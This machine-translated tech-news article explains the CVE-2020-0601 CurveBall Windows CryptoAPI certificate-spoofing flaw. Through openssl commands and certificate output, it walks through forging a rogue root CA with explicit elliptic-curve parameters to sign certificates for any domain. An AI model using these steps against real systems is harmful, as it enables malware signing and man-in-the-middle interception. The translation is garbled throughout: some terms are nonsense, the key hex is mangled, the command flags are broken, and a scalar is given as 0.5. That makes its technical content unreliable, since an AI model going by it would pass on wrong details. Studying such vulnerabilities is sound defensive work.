Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to use POC to explain CHAINOFFOOLS CURVEBALL attacks

2025-01-25 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

This article introduces you how to use POC to explain the CHAINOFFOOLS CURVEBALL attack, the content is very detailed, interested friends can refer to, hope to be helpful to you.

"on Tuesday, January 14, 2020, MICROSOFT addressed a serious vulnerability found by NSA in CRYPT32.DLL versions 2016 and 2019 of win10,windows server. CVE-2020-0601: we used POC to explain CHAINOFFOOLS."

On Tuesday, January 14, 2020, MICROSOFT addressed a serious vulnerability found by NSA in CRYPT32.DLL versions 2016 and 2019 of win10,windows server.

Microsoft has released the following information about this vulnerability:

A spoofing vulnerability exists in the way Windows CryptoAPI (Crypt32.dll) validates elliptic curve cryptography (ECC) certificates.

An attacker can exploit this vulnerability by signing a malicious executable using a fraudulent code signing certificate so that the file appears to come from a reliable and legitimate source. Users will not be able to know that the file is malicious because the digital signature appears to come from a trusted provider.

Successful exploitation can also enable attackers to conduct man-in-the-middle attacks and decrypt confidential information on connections to users of the affected software.

Although this is relatively vague, we can gather more information from the CERT website:

As a result, an attacker may be able to make a certificate that appears to have the ability to be traced to a trusted root certificate authority.

Any software that relies on the Windows CertGetCertificateChain () function to determine whether X.509 certificates can be traced to the trusted root CA, including third-party non-Microsoft software, may incorrectly determine the trustworthiness of the certificate chain.

Microsoft Windows versions of certificates that support the use of ECC keys with specified parameters are affected.

We know that this vulnerability could allow an attacker to create a code signing certificate to sign a malicious executable, making it look as if it came from a trusted legitimate source.

In the NSA bulletin, we can see

Certificates that contain explicitly defined elliptic curve parameters that match only part of the standard curve are suspicious, especially if they contain the public key of the trusted certificate

Then we can use ECC and explicit parameters that do not exactly match the standard curve to make the certificate!

It's not hard to understand.

In ECDSA, private key K is a large integer, while public key contention is a calculated E point on an elliptic curve to generate a curve generator with a large prime order (usually standardized with the curve you use).

Then we can know:

Therefore, the idea here is that there are some flaws in the way the certificate is loaded when the explicit curve parameters are specified in the certificate provided.

Specifically, you can choose any generator to create a private key for an existing public key. We can easily calculate and forge a generator, so through this vulnerability we will know the private key corresponding to the public key of the known or intended attack CA.

So how can we achieve the recurrence of this loophole?

It is sufficient that we can use the existing certificate or the existing certificate we want to attack as well as its public key competition and unknown key k. Let's go back to the formula kG=Pk above. Now let's construct some random values x and then put them into the formula to be G'x=Pk. So x is our newly generated key, so we are competing for the newly created key to be the valid key for the certificate public key. This will effectively enable us to deceive Microsoft CryptoAPI

So we do know the key of some CA certificate, and when we use a different generator than the standard generator, we actually know its key.

So we can write poc.

First, we need to find some target certificates in Windows's Trusted Root CA, where we use ECC and attack it.

Now that we need to get the public key of ECC, we use openssl x509 directly in USERTrustECCCertificationAuthority.crt-text-noout-easy to get ECC's

Certificate: Data: Version: 3 (0x2) Serial Number: 5c:8b:99:c5:5a:94:c5:d2:71:56:de:cd:89:80:cc:26 Signature Algorithm: ecdsa-with-SHA384 Issuer: C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network CN = USERTrust ECC Certification Authority Validity Not Before: Feb 1 00:00:00 2010 GMT Not After: Jan 18 23:59:59 2038 GMT Subject: C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network CN = USERTrust ECC Certification Authority Subject PublicKey Info: PublicKey Algorithm: id-ecPublicKey Public-Key: (384bit) pub: 04:1a:ac:54:5a:a9:f9:68:23:e7:7a:d5:24:6f:53: c6:5a:d8:4b:ab:c6:d5:b6:d1 : e6:73:71:ae:dd:9c: d6:0c:61:fd:db:a0:89:03:b8:05:14:ec:57:ce:ee: 5d:3f:e2:21:b3:ce:f7:d4:8a:79:e0:a3:83:7e:2d: 97:d0:61:c4:f1:99:dc:25:91 : 63:ab:7f:30:a3:b4: 70:e2:c7:a1:33:9c:f3:bf:2e:5c:53:b1:5f:b3:7d: 32:7f:8a:34:e3:79:79 ASN1 OID: secp384r1 NIST CURVE: Pmur384 X509v3 extensions: X509v3 Subject Key Identifier: 3A:E1:09:86:D4:CF:19:C2:96:76:74:49:76:DC:E0:35:C6:63:63:9A X509v3 Key Usage: critical Certificate Sign CRL Sign X509v3 Basic Constraints: critical CA:TRUE Signature Algorithm: ecdsa-with-SHA384 30:65:02:30:36:67:a1:16:08:dc:e4:97:00:41:1d:4e:be:e1: 63:01:cf:3b:aa:42:11:64:a0:9d:94:39:02:11:79:5c:7b:1d: fa:64:b9 : ee:16:42:b3:bf:8a:c2:09:c4:ec:e4:b1:4d:02:31: 00:e9:2a:61:47:8c:52:4a:4b:4e:18:70:f6:d6:44:d6:6e:f5: 83:ba:6d:58:bd:24:d9:56:48:ea:ef:c4:a2:46:81:88:6a:3a: 46:d1:a9 : 9b:4d:c9:61:da:d1:5d:57:6a:18

We got a little bit of PK in it.

(0x1aac545aa9f9623e77ad5246f53c65ad84babc6d5b6d1e67371aedd9cd60c61fddba08903b80514ec57ceee5d3fe221m0xb3cef7d48a79e038e2d97d061c4f199dc259163ab7f30a3b470e2c7a1339cf3bf2e5cb5315fb37d327f8a34e3779)

According to the above theory, we have to construct one or more random values x, we can take x as 1, but for the sake of demonstration, we have to take a suitable x, and here we take x as 0.5.

Next, we just need to generate a pem file with explicit curve parameters and use the generator to generate our malicious private key. Create a template pem file by first using the

Openssl ecparam-name secp384r1-genkey-noout-out p384-key.pem-param_enc explicit then edits it using Python's Crypto.IO PEM module.

(for more information, see PoC code. )

Then, the next step is to generate malicious CA public files that match the real sequence

We first generate a brand new certificate as usual:

Openssl ecparam-name prime256v1- genkey-noout-out prime256v1-privkey.pem

Then we can generate a certificate signing request as usual:

Openssl req-key prime256v1-privkey.pem-config openssl.cnf-new-out prime256v1.csr uses the openssl.cnf configuration file that can be found in the repository.

Finally, we can CSR using our malicious CA and obtain our final public certificate:

Openssl x509-req-in prime256v1.csr-CA ca-rogue.pem-CAkey p384-key-rogue.pem-CAcreateserial-out client-cert.pem-days 500-extensions v3_req-extfile openssl.cnf

Wait!

Then, the next step is to generate malicious CA public files that match the real sequence

From the above, we have been able to sign the certificate using any domain name and subject alternative name, and Windows's CryptoAPI will recognize it as a trusted certificate. Note (as long as the root certificate has been loaded once, it is in the certificate cache. )

Finally, keep in mind that this vulnerability will not be exploited by script boys or blackmail software. Although this is still a big problem because it may allow man-in-the-middle attacks on any website, you still have to face an opponent with the network you run, which is possible for nation-state rivals, but not for script boys. This is why we released this PoC, which is not available enough to lead to a sudden blackmail software threat (like Wannacry). That may be why the NSA decided not to weaponize their findings, preferring to disclose them.

On how to use POC to explain the CHAINOFFOOLS CURVEBALL attack to share here, I hope the above content can be of some help to you, can learn more knowledge. If you think the article is good, you can share it for more people to see.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report